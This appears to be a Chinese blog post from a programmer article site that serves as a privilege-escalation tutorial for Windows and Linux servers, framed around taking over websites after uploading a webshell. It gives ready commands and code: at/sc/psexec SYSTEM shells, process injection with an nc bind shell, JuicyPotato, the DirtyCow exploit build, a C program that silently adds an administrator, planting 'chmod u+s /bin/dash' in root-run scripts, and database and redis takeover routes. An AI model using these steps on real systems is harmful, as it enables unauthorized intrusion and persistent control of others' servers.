欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

提权

程序员文章站 2022-07-15 11:16:18
...

什么是提权

为了提高自己在服务器中的权限所进行的操作

主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞上传shell,以夺得该服务器权限。

操作系统安全的基础
用户空间 与 内核空间 是隔离的。
内核空间是内核代码运行的地方,用户空间是用户程序代码运行的地方。所以如果用户的程序崩溃了,内核是不受影响。
当进程运行在内核空间时就处于内核态,当进程运行在用户空间时就处于用户态。

账号分类

本地系统帐户(SYSTEM):
本地系统帐户是一个具有完全系统访问权并且在网络中担当计算机的超级帐户。

本地服务帐户(LOCAL SERVICE):
本地服务帐户是一个类似于经过认证的用户帐户的特殊的内置帐户。本地服务帐户具有和 Users 用户组成员相同级别的资源和对象访问权。

网络服务帐户(NETWORK SERVICE):
网络服务帐户是一个类似于经过认证的用户帐户的特殊的内置帐户。网络服务帐户具有和 Users 用户组成员相同级别的资源和对象访问权。

用户账号在登陆时获取权限令牌
而服务账号无需用户登陆,会自己在后台启动服务
各账号间权限不一样

用户划分

windows系统的用户分为三类
user 、 administrator 、system
linux系统分为两类
user 、root

windows权限

windows权限有三种。
user 有普通用户权限
administrator 有用户管理员权限
system 有系统管理员权限
提权

linux权限

user 普通权限
root 管理员权限
提权

提权类别

本地提权
配置提权
漏洞提权

本地提权

1.AT命令提权

首先以administrator身份打开cmd
提权
然后输入:at 10:21 /interactive cmd
提权

然后在10:21的时候,打开了一个cmd

提权

2.SC命令提权
sc Create syscmd binpath="cmd/k start" type= own type= interact
sc start  syscmd

system 服务名字,可以随便取
binpath 环境变量,执行的路径

3.内核提权
psexec -i -s -d cmd

提权

4.注入进程提权
pinjector.exe -p 2152 cmd 12345
注入进程提权的流程

首先在靶机上的身份是administrator,靶机ip是172.16.11.141
提权
进入靶机里pinjector.exe的所在的根目录,

提权
然后pinjector.exe -l 查看可以注入的进程

提权
选择你想注入的进程

pinjector.exe -p 1444 cmd 5432

-p 是选择注入的进程的pid,这里的5432是端口

提权

nc  172.16.11.141 5432

提权

漏洞提权

烂土豆提权

属于令牌提权

限制条件
需要支持SeImpersonate或者SeAssignPrimaryToken权限
开启DCOM
本地支持RPC或者远程服务器支持PRC并能成功登录
能够找到可用的COM对象
webshell版脚本
Juicypotato.exe –p whoami
脏牛提权

属于linux内核提权
下载现成的exp
https://github.com/FireFart/dirtycow

然后编译生成一个可执行的文件

gcc -pthread dirty.c -o dirty -lcrypt

最后提权

巴西烤肉
net localgroup administrators admin123456 /add

利用配置不当提权

与利用漏洞提权相比,此方法更常用
大部分企业,会对系统的漏洞即时进行补丁更新,很难通过系统的漏洞进行入侵;
查找系统中以system权限启动的服务或应用,可以尝试将其替换或者反弹shell的方式提权;
可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权;
代码中是否有过滤参数的操作等都可以加以利用,进行提取;	
使用icacls软件(windows)
icacls
icacls c:\windows\*.exe /save perm /T 
i586-mingw32msvc-gcc -o admin.exe admin.c   //因为exe要给windows用所以这里使用i586-mingw32msvc-gcc这个编译

admin.c

#include<stdlib.h>
int main()
{
  int i;
 i=system("net localgroup administrators a /add");
  return 0;
}

只要管理员点击admin.exe,就会将用户a添加到管理员组


linux
1. 找到配置不当的文件

方法1

find / -perm 777 -exec ls -l {} \;   
 -perm 777 :指定权限为777的文件
 -exec ls-l : 对匹配的文件执行ls -l命令
 {} \ ; ---------->格式

方法2

find / -writable -type f 2 >/dev/null | grep -v "/proc/.
/proc:下多为系统启动的程序,一般不会有普通用户有可执行权限的程序
2.在目标文件里添加脚本

如第一步找到了usr文件下的123.sh符合条件
即 /usr/123. sh
就在123.sh里添加chmod u+s /bin/dash
然后当管理员执行这个脚本的时候
sh /usr/123. sh

普通用户就可以使用dash获得管理员权限
/bin/bash

还可以从应用系统的配置文件 、应用连接数据库的配置文件下手

其它提权方式

数据库提权

1.my sql提权
①.udf提权

1、知道root账号密码
2、win2000,2003系统
3、需要secure_file_priv函数打开

利用自定义函数功能,将mysql账号换为系统system权限

②.mof提权

1、win2003 以下版本
2、secure_file_priv参数不为null

③.反弹shell提权
2.Sql server提权

①、有sa权限

  1. 执行命令存储过程

    xp_cmdshell
    sp_OACreate
    sp_oamethod
    
  2. 注册表存储过程

    xp_regwrite
    

②、有dba权限

  1. 列目标存储过程

    xp_dirtree
    xp_subdirs
    
  2. 备份文件

    备份到网站目录
    通过备份文件到启动项提权
    
3.redis提权

未授权访问
1、webshell
2、上传公钥
3、反弹shell

4.oracle提权

1、dba权限执行系统命令

第三方软件/服务提权

windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的。利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。